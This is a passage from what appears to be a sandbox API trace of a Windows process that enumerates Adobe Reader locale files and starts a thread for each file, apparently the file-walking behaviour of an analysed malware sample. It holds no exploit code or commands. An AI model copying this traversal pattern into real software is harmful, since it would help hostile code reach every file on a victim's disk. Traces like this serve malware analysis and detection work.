10.0\\Reader\\Locale\\da_DK\\Spelling.DAN" [0244.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8 [0244.938] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DAN", cAlternateFileName="")) returned 1 [0244.938] wcscmp (_String1="updater.DAN", _String2=".") returned 1 [0244.938] wcscmp (_String1="updater.DAN", _String2="..") returned 1 [0244.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205de10 [0244.938] wcscpy (in: _Dest=0x4205de10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.939] wcscat (in: _Dest=0x4205de10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.939] wcscat (in: _Dest=0x4205de10, _Source="updater.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN" [0244.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205de10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0 [0244.948] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 1 [0244.948] wcscmp (_String1="Weblink.DAN", _String2=".") returned 1 [0244.948] wcscmp (_String1="Weblink.DAN", _String2="..") returned 1 [0244.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c150 [0244.948] wcscpy (in: _Dest=0x4205c150, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.948] wcscat (in: _Dest=0x4205c150, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.948] wcscat (in: _Dest=0x4205c150, _Source="Weblink.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN" [0244.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4 [0244.949] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DAN", cAlternateFileName="")) returned 0 [0244.949] FindClose (in: hFindFile=0x1cd9d250 | out: hFindFile=0x1cd9d250) returned 1 [0244.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e950) returned 1 [0244.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 [0244.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b890) returned 1 Thread: id = 4022 os_tid = 0x614 [0244.336] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu")) Thread: id = 4023 os_tid = 0x6cc [0244.338] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu")) Thread: id = 4024 os_tid = 0x1c88 [0244.339] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\AdobeCollabSync.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\adobecollabsync.deu")) Thread: id = 4025 os_tid = 0x13fc [0244.339] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\annots.deu")) Thread: id = 4026 os_tid = 0x1e1c [0244.340] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\brdlang32.deu")) Thread: id = 4027 os_tid = 0x1e20 [0244.341] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\checkers.deu")) Thread: id = 4028 os_tid = 0x1178 [0244.342] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\digsig.deu")) Thread: id = 4029 os_tid = 0x1f2c [0244.343] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DVA.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\dva.deu")) Thread: id = 4030 os_tid = 0x1f30 [0244.348] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\eBook.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ebook.deu")) Thread: id = 4031 os_tid = 0x1f40 [0244.349] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\escript.deu")) Thread: id = 4032 os_tid = 0x1f54 [0244.350] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu")) Thread: id = 4033 os_tid = 0x1fc0 [0244.351] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\makeaccessible.deu")) Thread: id = 4034 os_tid = 0x1fc4 [0244.352] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Multimedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\multimedia.deu")) Thread: id = 4035 os_tid = 0x1fc8 [0244.353] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\pddom.deu")) Thread: id = 4036 os_tid = 0x1fcc [0244.353] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ppklite.deu")) Thread: id = 4037 os_tid = 0x1fd0 [0244.354] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\rdlang32.deu")) Thread: id = 4038 os_tid = 0x1fdc [0244.355] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\readoutloud.deu")) Thread: id = 4039 os_tid = 0x1fe4 [0244.356] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\reflow.deu")) Thread: id = 4040 os_tid = 0x1fe8 [0244.357] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu")) Thread: id = 4041 os_tid = 0x1ff0 [0244.357] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\search.deu")) Thread: id = 4042 os_tid = 0x1ff4 [0244.358] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu")) Thread: id = 4043 os_tid = 0x1ff8 [0244.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x205088b0 [0244.360] wcscpy (in: _Dest=0x205088b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" [0244.361] wcscat (in: _Dest=0x205088b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\" [0244.361] wcscat (in: _Dest=0x205088b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*" [0244.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0244.361] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x1ce20900) Thread: id = 4044 os_tid = 0xba8 [0244.362] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\spelling.deu")) Thread: id = 4045 os_tid = 0x570 [0244.363] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\updater.deu")) Thread: id = 4046 os_tid = 0x2004 [0244.368] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\weblink.deu")) Thread: id = 4047 os_tid = 0x117c [0244.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced33d0 [0244.371] wcscpy (in: _Dest=0x1ced33d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.371] wcscat (in: _Dest=0x1ced33d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.371] wcscat (in: _Dest=0x1ced33d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*" [0244.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce217a0 [0244.372] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0244.717] wcscmp (_String1=".", _String2=".") returned 0 [0244.717] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.717] wcscmp (_String1="..", _String2=".") returned 1 [0244.717] wcscmp (_String1="..", _String2="..") returned 0 [0244.717] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0244.717] wcscmp (_String1="accessibility.ESP", _String2=".") returned 1 [0244.717] wcscmp (_String1="accessibility.ESP", _String2="..") returned 1 [0244.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43132350 [0244.718] wcscpy (in: _Dest=0x43132350, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.718] wcscat (in: _Dest=0x43132350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.718] wcscat (in: _Dest=0x43132350, _Source="accessibility.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP" [0244.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43132350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0244.816] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ESP", cAlternateFileName="")) returned 1 [0244.816] wcscmp (_String1="Acroform.ESP", _String2=".") returned 1 [0244.816] wcscmp (_String1="Acroform.ESP", _String2="..") returned 1 [0244.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431e33a0 [0244.816] wcscpy (in: _Dest=0x431e33a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.816] wcscat (in: _Dest=0x431e33a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.816] wcscat (in: _Dest=0x431e33a0, _Source="Acroform.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP" [0244.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e33a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124 [0244.817] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.ESP", cAlternateFileName="ADOBEC~1.ESP")) returned 1 [0244.817] wcscmp (_String1="AdobeCollabSync.ESP", _String2=".") returned 1 [0244.817] wcscmp (_String1="AdobeCollabSync.ESP", _String2="..") returned 1 [0244.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43130bf0 [0244.817] wcscpy (in: _Dest=0x43130bf0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.817] wcscat (in: _Dest=0x43130bf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.817] wcscat (in: _Dest=0x43130bf0, _Source="AdobeCollabSync.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP" [0244.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43130bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0244.818] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.ESP", cAlternateFileName="")) returned 1 [0244.818] wcscmp (_String1="Annots.ESP", _String2=".") returned 1 [0244.818] wcscmp (_String1="Annots.ESP", _String2="..") returned 1 [0244.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431e3580 [0244.818] wcscpy (in: _Dest=0x431e3580, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.818] wcscat (in: _Dest=0x431e3580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.818] wcscat (in: _Dest=0x431e3580, _Source="Annots.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP" [0244.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e3580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04 [0244.819] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.ESP", cAlternateFileName="BRDLAN~1.ESP")) returned 1 [0244.819] wcscmp (_String1="BRdlang32.ESP", _String2=".") returned 1 [0244.819] wcscmp (_String1="BRdlang32.ESP", _String2="..") returned 1 [0244.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431e3620 [0244.819] wcscpy (in: _Dest=0x431e3620, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.819] wcscat (in: _Dest=0x431e3620, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.819] wcscat (in: _Dest=0x431e3620, _Source="BRdlang32.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP" [0244.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e3620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bec [0244.820] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.ESP", cAlternateFileName="")) returned 1 [0244.820] wcscmp (_String1="Checkers.ESP", _String2=".") returned 1 [0244.820] wcscmp (_String1="Checkers.ESP", _String2="..") returned 1 [0244.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431e4200 [0244.820] wcscpy (in: _Dest=0x431e4200, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.820] wcscat (in: _Dest=0x431e4200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.820] wcscat (in: _Dest=0x431e4200, _Source="Checkers.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP" [0244.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e4200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ccc [0244.821] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, 